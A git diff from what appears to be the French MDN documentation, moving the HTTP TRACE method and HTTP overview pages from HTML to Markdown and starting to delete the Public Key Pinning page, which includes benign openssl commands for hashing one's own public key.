+ + diff --git a/files/fr/web/http/methods/trace/index.html b/files/fr/web/http/methods/trace/index.html deleted file mode 100644 index d095495f3c..0000000000 --- a/files/fr/web/http/methods/trace/index.html +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: TRACE -slug: Web/HTTP/Methods/TRACE -tags: - - HTTP - - Reference - - requête -translation_of: Web/HTTP/Methods/TRACE -original_slug: Web/HTTP/Méthode/TRACE ---- -
{{HTTPSidebar}}
- -

La méthode HTTP TRACE effectue un test de rebouclage des messages le long du chemin vers la ressource cible, fournissant ainsi un mécanisme de débogage utile.

- -

Le destinataire final de la demande doit renvoyer au client le message reçu, à l'exclusion de certains champs décrits ci-dessous, en tant que corps de message d'une réponse {{HTTPStatus("200")}}. (OK) avec un {{HTTPHeader("Content-Type")}} de message/http. Le destinataire final est soit le serveur d'origine, soit le premier serveur à recevoir une valeur {{HTTPHeader("Max-Forwards")}} de 0 dans la requête.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
La demande a un corpsNon
Une réponse réussie a un corpsNon
{{Glossary("Safe")}}Oui
{{Glossary("Idempotent")}}Oui
{{Glossary("Cacheable")}}Non
Autorisé dans les formulaires HTMLNon
- -

Syntaxe

- -
TRACE /index.html
-
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationTitle
{{RFC("7231", "TRACE", "4.3.8")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- -

Compatibilité des navigateurs

- -

{{Compat("http.methods.TRACE")}}

- -

Voir également

- - diff --git a/files/fr/web/http/methods/trace/index.md b/files/fr/web/http/methods/trace/index.md new file mode 100644 index 0000000000..d095495f3c --- /dev/null +++ b/files/fr/web/http/methods/trace/index.md @@ -0,0 +1,76 @@ +--- +title: TRACE +slug: Web/HTTP/Methods/TRACE +tags: + - HTTP + - Reference + - requête +translation_of: Web/HTTP/Methods/TRACE +original_slug: Web/HTTP/Méthode/TRACE +--- +
{{HTTPSidebar}}
+ +

La méthode HTTP TRACE effectue un test de rebouclage des messages le long du chemin vers la ressource cible, fournissant ainsi un mécanisme de débogage utile.

+ +

Le destinataire final de la demande doit renvoyer au client le message reçu, à l'exclusion de certains champs décrits ci-dessous, en tant que corps de message d'une réponse {{HTTPStatus("200")}}. (OK) avec un {{HTTPHeader("Content-Type")}} de message/http. Le destinataire final est soit le serveur d'origine, soit le premier serveur à recevoir une valeur {{HTTPHeader("Max-Forwards")}} de 0 dans la requête.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
La demande a un corpsNon
Une réponse réussie a un corpsNon
{{Glossary("Safe")}}Oui
{{Glossary("Idempotent")}}Oui
{{Glossary("Cacheable")}}Non
Autorisé dans les formulaires HTMLNon
+ +

Syntaxe

+ +
TRACE /index.html
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationTitle
{{RFC("7231", "TRACE", "4.3.8")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Compatibilité des navigateurs

+ +

{{Compat("http.methods.TRACE")}}

+ +

Voir également

+ + diff --git a/files/fr/web/http/overview/index.html b/files/fr/web/http/overview/index.html deleted file mode 100644 index ff6c0c8b68..0000000000 --- a/files/fr/web/http/overview/index.html +++ /dev/null @@ -1,179 +0,0 @@ ---- -title: Un aperçu de HTTP -slug: Web/HTTP/Overview -tags: - - Aperçu - - HTML - - HTTP - - WebMechanics -translation_of: Web/HTTP/Overview -original_slug: Web/HTTP/Aperçu ---- -
{{HTTPSidebar}}
- -

HTTP est un {{glossary("protocole")}} qui permet de récupérer des ressources telles que des documents HTML. Il est à la base de tout échange de données sur le Web. C'est un protocole de type client-serveur, ce qui signifie que les requêtes sont initiées par le destinataire (qui est généralement un navigateur web). Un document complet est construit à partir de différents sous-documents qui sont récupérés, par exemple du texte, des descriptions de mise en page, des images, des vidéos, des scripts et bien plus.

- -

Un document web se compose de différentes ressources

- -

Les clients et serveurs communiquent par l'échange de messages individuels (en opposition à un flux de données). Les messages envoyés par le client, généralement un navigateur web, sont appelés des requêtes et les messages renvoyés par le serveur sont appelés réponses.

- -

HTTP est un protocole de la couche d'application fonctionnant au-dessus de TCP (pour la couche de transport) et IP (pour la couche réseau). HTTP est en dessous de la couche de présentation. Conçu au début des années 1990, HTTP est un protocole extensible qui a évolué au cours du temps. C'est un protocole de la couche application dont les données transitent via {{glossary("TCP")}} ou à travers une connexion TCP chiffrée avec {{glossary("TLS")}}. En théorie, tout protocole de transport fiable pourrait être utilisé. En raison de son extensibilité, il n'est pas seulement utilisé pour récupérer des documents, mais aussi pour des images, des vidéos ou bien pour renvoyer des contenus vers des serveurs, comme des résultats de formulaires HTML. HTTP peut aussi être utilisé pour récupérer des parties de documents pour mettre à jour à la demande des pages web.

- -

Composants des systèmes basés sur HTTP

- -

HTTP est un protocole client-serveur : les requêtes sont envoyées par une entité : l'agent utilisateur (ou le proxy qui agit au nom de celui-ci). La majorité du temps, l'agent utilisateur est un navigateur web, mais cela peut-être n'importe quoi, un robot qui analyse le Web pour remplir et maintenir l'index d'un moteur de recherche est un exemple d'agent utilisateur.

- -

Chaque requête individuelle est envoyée au serveur, qui la traite et fournit une réponse. Entre cette requête et la réponse se trouve de nombreuses entités qu'on désignera de façon générique sous le terme {{glossary("Proxy", "proxies")}}. Celles-ci exécutent différentes opérations et agissent comme passerelles ou comme {{glossary("Cache", "caches")}} par exemple.

- -

chaîne client serveur

- -

En réalité, il y a plus d'un ordinateur entre un navigateur et le serveur qui traite la requête : il y a les routeurs, les modems et bien plus. Grâce à la construction en couche du Web, ces intermédiaires sont cachés dans les couches réseau et transport. HTTP est bâti sur la couche applicative. Bien qu'elles puissent s'avérer importantes lorsqu'il s'agit de diagnostiquer des problèmes réseau, les couches inférieures ne sont pas pertinentes ici pour décrire HTTP.

- -

Le client : l'agent  utilisateur

- -

L'agent utilisateur correspond à n'importe quel outil qui agit pour le compte de l'utilisateur. Ce rôle est principalement rempli par le navigateur web ; les exceptions étant les programmes utilisés par des ingénieurs et développeurs web pour le débogage de leurs applications.

- -

Le navigateur est toujours celui qui initie la requête. Il ne s'agit jamais du serveur (bien que certains mécanismes aient été ajoutés au cours des années afin de simuler les messages initiés par un serveur).

- -

Pour afficher une page web, le navigateur envoie une requête initiale pour récupérer le document HTML depuis la page. Ensuite, il analyse le fichier et récupère les requêtes additionnelles qui correspondent aux scripts, aux informations de mise en page (CSS) et les sous-ressources contenues dans la page (généralement des images et des vidéos). Le navigateur web assemble alors ces ressources pour présenter un document complet à l'utilisateur : c'est la page web. Les scripts exécutés par le navigateur peuvent permettre de récupérer plus de ressources par la suite afin de mettre à jour la page web.

- -

Une page web est un document hypertexte. Cela signifie que certaines parties sont des liens qui peuvent être activés (généralement avec un clic de souris) afin de récupérer une nouvelle page web, permettant à l'utilisateur de diriger son agent utilisateur et de naviguer sur le Web. Le navigateur traduit ces instructions en requêtes HTTP et interprète les réponses HTTP pour présenter une réponse claire à l'utilisateur.

- -

Le serveur web

- -

De l'autre côté du canal de communication, on trouve le serveur qui sert le document demandé par le client. Bien qu'on présente virtuellement le serveur comme un seul ordinateur, en réalité, il peut s'agir d'un ensemble de serveurs se répartissant la charge (load balancing) ou d'une architecture logicielle complexe qui interroge d'autres serveurs (par exemple un cache, un serveur de base de données, serveur d'e-commerce…), qui génèrent totalement ou partiellement le document à la demande.

- -

D'une part, un serveur n'est pas nécessairement une machine unique et d'autre part, plusieurs serveurs peuvent être hébergés sur une même machine. Avec HTTP/1.1 et l'en-tête {{HTTPHeader("Host")}}, ils peuvent également partager la même adresse IP.

- -

Les proxys

- -

Entre le navigateur Web et le serveur, de nombreux ordinateurs et machines relaient les messages HTTP. En raison de la structure en couches superposées des technologies web, la plupart des opérations  au niveau du transport, du réseau ou au niveau physique sont transparents pour la couche HTTP, ce qui peut avoir un impact significatif sur les performances. Les opérations au niveau de la couche applicative sont généralement appelées proxy. Ceux-ci peuvent être transparents ou non (en changeant les requêtes qui passent par eux), et peuvent effectuer de nombreuses tâches :

- - - -

Principaux aspects d'HTTP

- -

HTTP est simple

- -

Même s'il est devenu plus complexe avec l'arrivée d'HTTP/2 et l'encapsulation des messages HTTP dans des trames, HTTP est généralement conçu pour être simple et lisible par un humain. Les messages HTTP peuvent être lus et compris par des humains, ce qui facilite les tests des développeurs et réduit la complexité pour les débutants.

- -

HTTP est extensible

- -

À partir de HTTP/1.0, les en-têtes HTTP permettent d'étendre facilement le protocole et de mener des expérimentations avec celui-ci. De nouvelles fonctionnalités peuvent même être introduites par un simple accord entre le client et le serveur à propos de la sémantique des nouveaux en-têtes.

- -

HTTP est sans état, mais pas sans session

- -

HTTP est sans état : il n'y a pas de lien entre deux requêtes qui sont effectuées successivement sur la même connexion. Cela devient très rapidement problématique lorsque les utilisateurs veulent interagir avec une page de façon cohérente, par exemple avec un panier d'achat sur un site de commerce en ligne. Bien que le cœur d'HTTP soit sans état, les cookies HTTP permettent l'utilisation de sessions avec des états. En utilisant l'extensibilité par les en-têtes, des cookies HTTP sont ajoutés aux flux et permettent la création d'une session sur chaque requête HTTP pour partager un même contexte, ou un même état.

- -

HTTP et les connexions

- -

Une connexion est contrôlée au niveau de la couche transport et est donc fondamentalement hors de portée d'HTTP. Bien que HTTP ne nécessite pas un protocole de transport basé sur une connexion. Le protocole doit être fiable ou empêcher la perte de messages (donc gérer au minimum la remontée des erreurs). Parmi les deux protocoles de transport les plus courants sur Internet, TCP est fiable et UDP ne l'est pas. HTTP s'appuie sur le standard TCP, qui est basé sur la connexion, même si une connexion n'est pas toujours nécessaire.

- -

HTTP/1.0 ouvre une connexion TCP pour chaque échange requête/réponse, ce qui introduit deux défauts majeur : l'ouverture d'une connexion nécessite plusieurs allers-retours, ce qui est lent mais devient plus efficace lorsque plusieurs messages sont envoyés et envoyés régulièrement. On dit aussi que les connexions qui restent chaudes sont plus efficaces que les communications froides.

- -

Afin de réduire ces défauts, HTTP/1.1 introduit le pipelining (qui s'est avéré difficile à mettre en œuvre) et les connexions persistantes : la connexion TCP sous-jacente peut être partiellement contrôlée en utilisant l'en-tête {{HTTPHeader("Connection")}}. HTTP/2 va plus loin en multiplexant des messages sur une seule connexion, ce qui aide à maintenir la connexion chaude et plus efficace

- -

Des expérimentations sont en cours afin de concevoir un protocole de transport plus adapté pour HTTP. Par exemple, Google expérimente QUIC, construit sur UDP pour fournir un protocole de transport plus fiable et efficace.

- -

Ce qui peut être contrôlé par HTTP

- -

Au fil du temps, la nature extensible de HTTP a permis de mieux contrôler le Web et d'y ajouter de nouvelles fonctionnalités. Les méthodes de cache ou d'authentification sont des fonctions qui furent gérées dès le début de HTTP tandis que la possibilité de lever la contrainte d'unicité de l'origine ne fut introduite qu'à partir des années 2010.

- -

Voici une liste de fonctionnalités courantes, qui peuvent être contrôlées grâce à HTTP.

- - - -

Flux HTTP

- -

Lorsqu'un client veut communiquer avec un serveur, que ce soit avec un serveur final ou un proxy intermédiaire, il réalise les étapes suivantes :

- -
    -
  1. Il ouvre une connexion TCP : la connexion TCP va être utilisée pour envoyer une ou plusieurs requêtes et pour recevoir une réponse. Le client peut ouvrir une nouvelle connexion, réutiliser une connexion existante ou ouvrir plusieurs connexions TCP vers le serveur.
    2. -
  2. Il envoie un message HTTP : les messages HTTP (avant HTTP/2) sont lisibles par les humains. Avec HTTP/2, ces simples messages sont en-capsulés dans des trames, rendant la lecture directe impossible, mais le principe reste le même. - 
    GET / HTTP/1.1
-Host: developer.mozilla.org
-Accept-Language: fr
    -
    3. -
  3. Il lit la réponse envoyée par le serveur : - 
    HTTP/1.1 200 OK
-Date: Sat, 09 Oct 2010 14:28:02 GMT
-Server: Apache
-Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT
-ETag: "51142bc1-7449-479b075b2891b"
-Accept-Ranges: bytes
-Content-Length: 29769
-Content-Type: text/html
-
-<!DOCTYPE html... (suivi des 29769 octets de la page web demandée)
    -
    4. -
  4. Il ferme ou réutilise la connexion pour les requêtes suivantes.
    5. -
- -

Si le pipeline HTTP est activé, plusieurs demandes peuvent être envoyées sans attendre que la première réponse soit entièrement reçue. Le pipeline HTTP s'est révélé difficile à implémenter dans les réseaux existants où de vieux logiciels coexistent avec des versions modernes. Le pipeline HTTP a été remplacé dans HTTP/2 par des requêtes de multiplexage plus robustes dans les trames.

- -

Les messages HTTP

- -

Les messages HTTP/1.1 et ceux des versions précédentes d'HTTP sont lisibles par des humains. Avec HTTP/2, ces messages sont intégrés dans une nouvelle structure binaire, une trame, ce qui permet des optimisations telles que la compression des en-têtes et le multiplexage. Même si seule une partie du message HTTP d'origine est envoyée dans cette version d'HTTP, la sémantique de chaque message est inchangée et le client reconstitue (virtuellement) la requête HTTP/1.1 d'origine. Il est donc utile de comprendre les messages HTTP/2 au format HTTP/1.1.

- -

Il existe deux types de messages HTTP, les requêtes et les réponses, chacun ayant son propre format.

- -

Requêtes

- -

Un exemple de requête HTTP :

- -

Une requête HTTP basique

- -

Une requête comprend les éléments suivants :

- - - -

Réponses

- -

Un exemple de réponse :

- -

une réponse HTTP

- -

Une réponse comprend les éléments suivants:

- - - -

Les APIs basées sur HTTP

- -

L'API la plus utilisée se basant sur HTTP est l'API {{domxref("XMLHttpRequest")}} qui permet d'échanger des données entre un agent utilisateur {{Glossary("user agent")}} et un serveur.

- -

Une autre API, server-sent events, est un service unidirectionnel permettant à un serveur d'envoyer des notifications au client, en se basant sur le protocole HTTP. À l'aide de l'utilisation de l'interface {{domxref("EventSource")}}, le client ouvre une connexion et initie un gestionnaire d'évènements. Le navigateur convertit alors automatiquement les messages du flux HTTP en objets de type {{domxref("Event")}}, pour ensuite les déléguer au gestionnaire d'évènements qui se sont abonnés à ce {{domxref("Event.type", "type")}} d'évènement. Dans le cas où le type est inconnu ou si aucun gestionnaire typé n'a été défini, ils sont délivrés au gestionnaire d'évènements {{domxref("EventSource.onmessage", "onmessage")}}.

- -

Conclusion

- -

HTTP est un protocole extensible, facile d'utilisation. La structure client-serveur, combinée avec la possibilité d'ajouter simplement des en-têtes, permet à HTTP de progresser au fur et mesure de l'ajout de nouvelles fonctionnalités sur le Web.

- -

Bien que HTTP/2 ajoute de la complexité, en englobant les messages HTTP dans des trames pour améliorer les performances, la structure de base des messages est restée la même depuis HTTP/1.0. Le flux de session reste simple, ce qui lui permet d'être étudié et débogué avec un simple moniteur de message HTTP.

diff --git a/files/fr/web/http/overview/index.md b/files/fr/web/http/overview/index.md new file mode 100644 index 0000000000..ff6c0c8b68 --- /dev/null +++ b/files/fr/web/http/overview/index.md @@ -0,0 +1,179 @@ +--- +title: Un aperçu de HTTP +slug: Web/HTTP/Overview +tags: + - Aperçu + - HTML + - HTTP + - WebMechanics +translation_of: Web/HTTP/Overview +original_slug: Web/HTTP/Aperçu +--- +
{{HTTPSidebar}}
+ +

HTTP est un {{glossary("protocole")}} qui permet de récupérer des ressources telles que des documents HTML. Il est à la base de tout échange de données sur le Web. C'est un protocole de type client-serveur, ce qui signifie que les requêtes sont initiées par le destinataire (qui est généralement un navigateur web). Un document complet est construit à partir de différents sous-documents qui sont récupérés, par exemple du texte, des descriptions de mise en page, des images, des vidéos, des scripts et bien plus.

+ +

Un document web se compose de différentes ressources

+ +

Les clients et serveurs communiquent par l'échange de messages individuels (en opposition à un flux de données). Les messages envoyés par le client, généralement un navigateur web, sont appelés des requêtes et les messages renvoyés par le serveur sont appelés réponses.

+ +

HTTP est un protocole de la couche d'application fonctionnant au-dessus de TCP (pour la couche de transport) et IP (pour la couche réseau). HTTP est en dessous de la couche de présentation. Conçu au début des années 1990, HTTP est un protocole extensible qui a évolué au cours du temps. C'est un protocole de la couche application dont les données transitent via {{glossary("TCP")}} ou à travers une connexion TCP chiffrée avec {{glossary("TLS")}}. En théorie, tout protocole de transport fiable pourrait être utilisé. En raison de son extensibilité, il n'est pas seulement utilisé pour récupérer des documents, mais aussi pour des images, des vidéos ou bien pour renvoyer des contenus vers des serveurs, comme des résultats de formulaires HTML. HTTP peut aussi être utilisé pour récupérer des parties de documents pour mettre à jour à la demande des pages web.

+ +

Composants des systèmes basés sur HTTP

+ +

HTTP est un protocole client-serveur : les requêtes sont envoyées par une entité : l'agent utilisateur (ou le proxy qui agit au nom de celui-ci). La majorité du temps, l'agent utilisateur est un navigateur web, mais cela peut-être n'importe quoi, un robot qui analyse le Web pour remplir et maintenir l'index d'un moteur de recherche est un exemple d'agent utilisateur.

+ +

Chaque requête individuelle est envoyée au serveur, qui la traite et fournit une réponse. Entre cette requête et la réponse se trouve de nombreuses entités qu'on désignera de façon générique sous le terme {{glossary("Proxy", "proxies")}}. Celles-ci exécutent différentes opérations et agissent comme passerelles ou comme {{glossary("Cache", "caches")}} par exemple.

+ +

chaîne client serveur

+ +

En réalité, il y a plus d'un ordinateur entre un navigateur et le serveur qui traite la requête : il y a les routeurs, les modems et bien plus. Grâce à la construction en couche du Web, ces intermédiaires sont cachés dans les couches réseau et transport. HTTP est bâti sur la couche applicative. Bien qu'elles puissent s'avérer importantes lorsqu'il s'agit de diagnostiquer des problèmes réseau, les couches inférieures ne sont pas pertinentes ici pour décrire HTTP.

+ +

Le client : l'agent  utilisateur

+ +

L'agent utilisateur correspond à n'importe quel outil qui agit pour le compte de l'utilisateur. Ce rôle est principalement rempli par le navigateur web ; les exceptions étant les programmes utilisés par des ingénieurs et développeurs web pour le débogage de leurs applications.

+ +

Le navigateur est toujours celui qui initie la requête. Il ne s'agit jamais du serveur (bien que certains mécanismes aient été ajoutés au cours des années afin de simuler les messages initiés par un serveur).

+ +

Pour afficher une page web, le navigateur envoie une requête initiale pour récupérer le document HTML depuis la page. Ensuite, il analyse le fichier et récupère les requêtes additionnelles qui correspondent aux scripts, aux informations de mise en page (CSS) et les sous-ressources contenues dans la page (généralement des images et des vidéos). Le navigateur web assemble alors ces ressources pour présenter un document complet à l'utilisateur : c'est la page web. Les scripts exécutés par le navigateur peuvent permettre de récupérer plus de ressources par la suite afin de mettre à jour la page web.

+ +

Une page web est un document hypertexte. Cela signifie que certaines parties sont des liens qui peuvent être activés (généralement avec un clic de souris) afin de récupérer une nouvelle page web, permettant à l'utilisateur de diriger son agent utilisateur et de naviguer sur le Web. Le navigateur traduit ces instructions en requêtes HTTP et interprète les réponses HTTP pour présenter une réponse claire à l'utilisateur.

+ +

Le serveur web

+ +

De l'autre côté du canal de communication, on trouve le serveur qui sert le document demandé par le client. Bien qu'on présente virtuellement le serveur comme un seul ordinateur, en réalité, il peut s'agir d'un ensemble de serveurs se répartissant la charge (load balancing) ou d'une architecture logicielle complexe qui interroge d'autres serveurs (par exemple un cache, un serveur de base de données, serveur d'e-commerce…), qui génèrent totalement ou partiellement le document à la demande.

+ +

D'une part, un serveur n'est pas nécessairement une machine unique et d'autre part, plusieurs serveurs peuvent être hébergés sur une même machine. Avec HTTP/1.1 et l'en-tête {{HTTPHeader("Host")}}, ils peuvent également partager la même adresse IP.

+ +

Les proxys

+ +

Entre le navigateur Web et le serveur, de nombreux ordinateurs et machines relaient les messages HTTP. En raison de la structure en couches superposées des technologies web, la plupart des opérations  au niveau du transport, du réseau ou au niveau physique sont transparents pour la couche HTTP, ce qui peut avoir un impact significatif sur les performances. Les opérations au niveau de la couche applicative sont généralement appelées proxy. Ceux-ci peuvent être transparents ou non (en changeant les requêtes qui passent par eux), et peuvent effectuer de nombreuses tâches :

+ + + +

Principaux aspects d'HTTP

+ +

HTTP est simple

+ +

Même s'il est devenu plus complexe avec l'arrivée d'HTTP/2 et l'encapsulation des messages HTTP dans des trames, HTTP est généralement conçu pour être simple et lisible par un humain. Les messages HTTP peuvent être lus et compris par des humains, ce qui facilite les tests des développeurs et réduit la complexité pour les débutants.

+ +

HTTP est extensible

+ +

À partir de HTTP/1.0, les en-têtes HTTP permettent d'étendre facilement le protocole et de mener des expérimentations avec celui-ci. De nouvelles fonctionnalités peuvent même être introduites par un simple accord entre le client et le serveur à propos de la sémantique des nouveaux en-têtes.

+ +

HTTP est sans état, mais pas sans session

+ +

HTTP est sans état : il n'y a pas de lien entre deux requêtes qui sont effectuées successivement sur la même connexion. Cela devient très rapidement problématique lorsque les utilisateurs veulent interagir avec une page de façon cohérente, par exemple avec un panier d'achat sur un site de commerce en ligne. Bien que le cœur d'HTTP soit sans état, les cookies HTTP permettent l'utilisation de sessions avec des états. En utilisant l'extensibilité par les en-têtes, des cookies HTTP sont ajoutés aux flux et permettent la création d'une session sur chaque requête HTTP pour partager un même contexte, ou un même état.

+ +

HTTP et les connexions

+ +

Une connexion est contrôlée au niveau de la couche transport et est donc fondamentalement hors de portée d'HTTP. Bien que HTTP ne nécessite pas un protocole de transport basé sur une connexion. Le protocole doit être fiable ou empêcher la perte de messages (donc gérer au minimum la remontée des erreurs). Parmi les deux protocoles de transport les plus courants sur Internet, TCP est fiable et UDP ne l'est pas. HTTP s'appuie sur le standard TCP, qui est basé sur la connexion, même si une connexion n'est pas toujours nécessaire.

+ +

HTTP/1.0 ouvre une connexion TCP pour chaque échange requête/réponse, ce qui introduit deux défauts majeur : l'ouverture d'une connexion nécessite plusieurs allers-retours, ce qui est lent mais devient plus efficace lorsque plusieurs messages sont envoyés et envoyés régulièrement. On dit aussi que les connexions qui restent chaudes sont plus efficaces que les communications froides.

+ +

Afin de réduire ces défauts, HTTP/1.1 introduit le pipelining (qui s'est avéré difficile à mettre en œuvre) et les connexions persistantes : la connexion TCP sous-jacente peut être partiellement contrôlée en utilisant l'en-tête {{HTTPHeader("Connection")}}. HTTP/2 va plus loin en multiplexant des messages sur une seule connexion, ce qui aide à maintenir la connexion chaude et plus efficace

+ +

Des expérimentations sont en cours afin de concevoir un protocole de transport plus adapté pour HTTP. Par exemple, Google expérimente QUIC, construit sur UDP pour fournir un protocole de transport plus fiable et efficace.

+ +

Ce qui peut être contrôlé par HTTP

+ +

Au fil du temps, la nature extensible de HTTP a permis de mieux contrôler le Web et d'y ajouter de nouvelles fonctionnalités. Les méthodes de cache ou d'authentification sont des fonctions qui furent gérées dès le début de HTTP tandis que la possibilité de lever la contrainte d'unicité de l'origine ne fut introduite qu'à partir des années 2010.

+ +

Voici une liste de fonctionnalités courantes, qui peuvent être contrôlées grâce à HTTP.

+ + + +

Flux HTTP

+ +

Lorsqu'un client veut communiquer avec un serveur, que ce soit avec un serveur final ou un proxy intermédiaire, il réalise les étapes suivantes :

+ +
    +
  1. Il ouvre une connexion TCP : la connexion TCP va être utilisée pour envoyer une ou plusieurs requêtes et pour recevoir une réponse. Le client peut ouvrir une nouvelle connexion, réutiliser une connexion existante ou ouvrir plusieurs connexions TCP vers le serveur.
    2. +
  2. Il envoie un message HTTP : les messages HTTP (avant HTTP/2) sont lisibles par les humains. Avec HTTP/2, ces simples messages sont en-capsulés dans des trames, rendant la lecture directe impossible, mais le principe reste le même. + 
    GET / HTTP/1.1
+Host: developer.mozilla.org
+Accept-Language: fr
    +
    3. +
  3. Il lit la réponse envoyée par le serveur : + 
    HTTP/1.1 200 OK
+Date: Sat, 09 Oct 2010 14:28:02 GMT
+Server: Apache
+Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT
+ETag: "51142bc1-7449-479b075b2891b"
+Accept-Ranges: bytes
+Content-Length: 29769
+Content-Type: text/html
+
+<!DOCTYPE html... (suivi des 29769 octets de la page web demandée)
    +
    4. +
  4. Il ferme ou réutilise la connexion pour les requêtes suivantes.
    5. +
+ +

Si le pipeline HTTP est activé, plusieurs demandes peuvent être envoyées sans attendre que la première réponse soit entièrement reçue. Le pipeline HTTP s'est révélé difficile à implémenter dans les réseaux existants où de vieux logiciels coexistent avec des versions modernes. Le pipeline HTTP a été remplacé dans HTTP/2 par des requêtes de multiplexage plus robustes dans les trames.

+ +

Les messages HTTP

+ +

Les messages HTTP/1.1 et ceux des versions précédentes d'HTTP sont lisibles par des humains. Avec HTTP/2, ces messages sont intégrés dans une nouvelle structure binaire, une trame, ce qui permet des optimisations telles que la compression des en-têtes et le multiplexage. Même si seule une partie du message HTTP d'origine est envoyée dans cette version d'HTTP, la sémantique de chaque message est inchangée et le client reconstitue (virtuellement) la requête HTTP/1.1 d'origine. Il est donc utile de comprendre les messages HTTP/2 au format HTTP/1.1.

+ +

Il existe deux types de messages HTTP, les requêtes et les réponses, chacun ayant son propre format.

+ +

Requêtes

+ +

Un exemple de requête HTTP :

+ +

Une requête HTTP basique

+ +

Une requête comprend les éléments suivants :

+ + + +

Réponses

+ +

Un exemple de réponse :

+ +

une réponse HTTP

+ +

Une réponse comprend les éléments suivants:

+ + + +

Les APIs basées sur HTTP

+ +

L'API la plus utilisée se basant sur HTTP est l'API {{domxref("XMLHttpRequest")}} qui permet d'échanger des données entre un agent utilisateur {{Glossary("user agent")}} et un serveur.

+ +

Une autre API, server-sent events, est un service unidirectionnel permettant à un serveur d'envoyer des notifications au client, en se basant sur le protocole HTTP. À l'aide de l'utilisation de l'interface {{domxref("EventSource")}}, le client ouvre une connexion et initie un gestionnaire d'évènements. Le navigateur convertit alors automatiquement les messages du flux HTTP en objets de type {{domxref("Event")}}, pour ensuite les déléguer au gestionnaire d'évènements qui se sont abonnés à ce {{domxref("Event.type", "type")}} d'évènement. Dans le cas où le type est inconnu ou si aucun gestionnaire typé n'a été défini, ils sont délivrés au gestionnaire d'évènements {{domxref("EventSource.onmessage", "onmessage")}}.

+ +

Conclusion

+ +

HTTP est un protocole extensible, facile d'utilisation. La structure client-serveur, combinée avec la possibilité d'ajouter simplement des en-têtes, permet à HTTP de progresser au fur et mesure de l'ajout de nouvelles fonctionnalités sur le Web.

+ +

Bien que HTTP/2 ajoute de la complexité, en englobant les messages HTTP dans des trames pour améliorer les performances, la structure de base des messages est restée la même depuis HTTP/1.0. Le flux de session reste simple, ce qui lui permet d'être étudié et débogué avec un simple moniteur de message HTTP.

diff --git a/files/fr/web/http/public_key_pinning/index.html b/files/fr/web/http/public_key_pinning/index.html deleted file mode 100644 index b378e93471..0000000000 --- a/files/fr/web/http/public_key_pinning/index.html +++ /dev/null @@ -1,137 +0,0 @@ ---- -title: Public Key Pinning -slug: Web/HTTP/Public_Key_Pinning -tags: - - HTTPS - - Référence(2) - - Sécurité -translation_of: Web/HTTP/Public_Key_Pinning -original_slug: Web/Security/Public_Key_Pinning ---- -

L'extention Public Key Pinning pour HTTP (HPKP) est une fonctionnalité de sécurité qui dit au client web d'associer une clé publique cryptographique avec un certain serveur web pour éviter les attaques MITM avec des certificats contrefaits.

- -
-

Note : La Public Key Pinning décrite ici est différente du limité preload list based key pinning introduit dans Firefox 32.

-
- -

Pour s'assurer de l’authenticité de la clé publique du serveur utilisé dans une session TLS, cette clé publique est enveloppée dans un certificat X.509 qui est généralement signé par une autorité de certifications (CA, pour Certificate Authority). Les clients web tels que les navigateurs font confiance à beaucoup de ces autorités de certifications, et chacune d'entre elles peut créer des certificats pour des domaines arbitraires. Si un attaquant est capable de compromettre une seule de ces CA, il peut pratiquer des attaques {{Glossary("MitM")}} sur diverses connections TLS. HPKP peut contourner cette menace pour le protocole HTTPS en disant au client web quelles clés publiques appartiennent à un certain serveur web.

- -

HPKP est une technique qui s'appuie sur la confiance au premier accès (TOFU, Trust on First Use). La première fois un serveur web dit au client en utilisant l'en-tête HTTP HPKP quelles clés publiques lui appartiennent, le client sauvegarde cette information pour une période de temps donnée. Quand le client visite le serveur à nouveau, il s'attend à un certificat contenant une clé publique dont l'empreinte est sauvegardée. Si le serveur présente une clé publique inconnue, le client doit présenter un avertissement à l'utilisateur.

- -
-

Note : Firefox (et Chrome) désactivent la vérification de l'épinglage lorsqu'un site épinglé présentent une chaine de certificats qui se termine par un certificat racine installé par l'utilisateur (et non un certificat racine de base).

-
- -

Activer HPKP

- -

Activer cette fonctionnalité pour votre site est simple : il faut juste retourner l'en tête HTTP Public-Key-Pins HTTP quand le site est accédé via HTTPS :

- -
Public-Key-Pins: pin-sha256="base64=="; max-age=expireTime [; includeSubdomains][; report-uri="reportURI"]
-
- -
-
pin-sha256
-
La chaîne de caractère entre guillemets est l’empreinte du Subject Public Key Information (SPKI) encodé en base 64. Il est possible de spécifier plusieurs épinglage (pin) pour différentes clé publiques. Certains navigateurs pourraient autoriser dans le future d'autres algorithmes de hachage que SHA-256. Voir plus bas comment extraire cette information depuis le fichier d'un certificat ou d'une clé.
-
max-age
-
Le temps, en seconde, pendant laquelle le navigateur doit mémoriser que le site ne doit être visité qu'avec l'une des clés épinglées.
-
includeSubdomains {{ optional_inline() }}
-
Si ce paramètre optionnel est spécifié, cette règle s'applique aussi a tous les sous-domaines du domaine actuel.
-
report-uri {{ optional_inline() }}
-
Si ce paramètre optionnel est spécifié, les échecs de validation sont notifiés à l'URL donnée.
-
- -
-

Note : La spécification actuelle impose d'inclure au minimum une seconde clé dite de sauvegarde, qui n'est pas encore utilisée en production. Cela permet de changer de clé publique sans bloquer l'accès aux clients qui auraient déjà noté les clés épinglés. C'est important par exemple dans le cas où la clé actuellement utilisées serait compromise, ce qui forcerait l'utilisation d'une clé différente (la clé de sauvegarde dans ce cas).

-
- -
-

Note : Firefox n'implémente pas encore les rapports de violation d'épinglage. Chrome les implémente à partie de la version 46.

- - -
- -

Extraire la clé publique encodé en Base64

- -

En premier, vous devez extraire la clé publique depuis votre fichier de certificats ou de clés puis l'encoder en base 64.

- -

Les commandes suivantes vous aideront à extraire la clé publique et à l'encoder en base 64 depuis le fichier d'une clé, d'un certificat ou d'un CSR (Certificate Signing Request).

- -
openssl rsa -in my-key-file.key -outform der -pubout | openssl dgst -sha256 -binary | openssl enc -base64
- -
openssl req -in my-signing-request.csr -pubkey -noout | openssl rsa -pubin -outform der | openssl dgst -sha256 -binary | openssl enc -base64
- -
openssl x509 -in my-certificate.crt -pubkey -noout | openssl rsa -pubin -outform der | openssl dgst -sha256 -binary | openssl enc -base64
- -

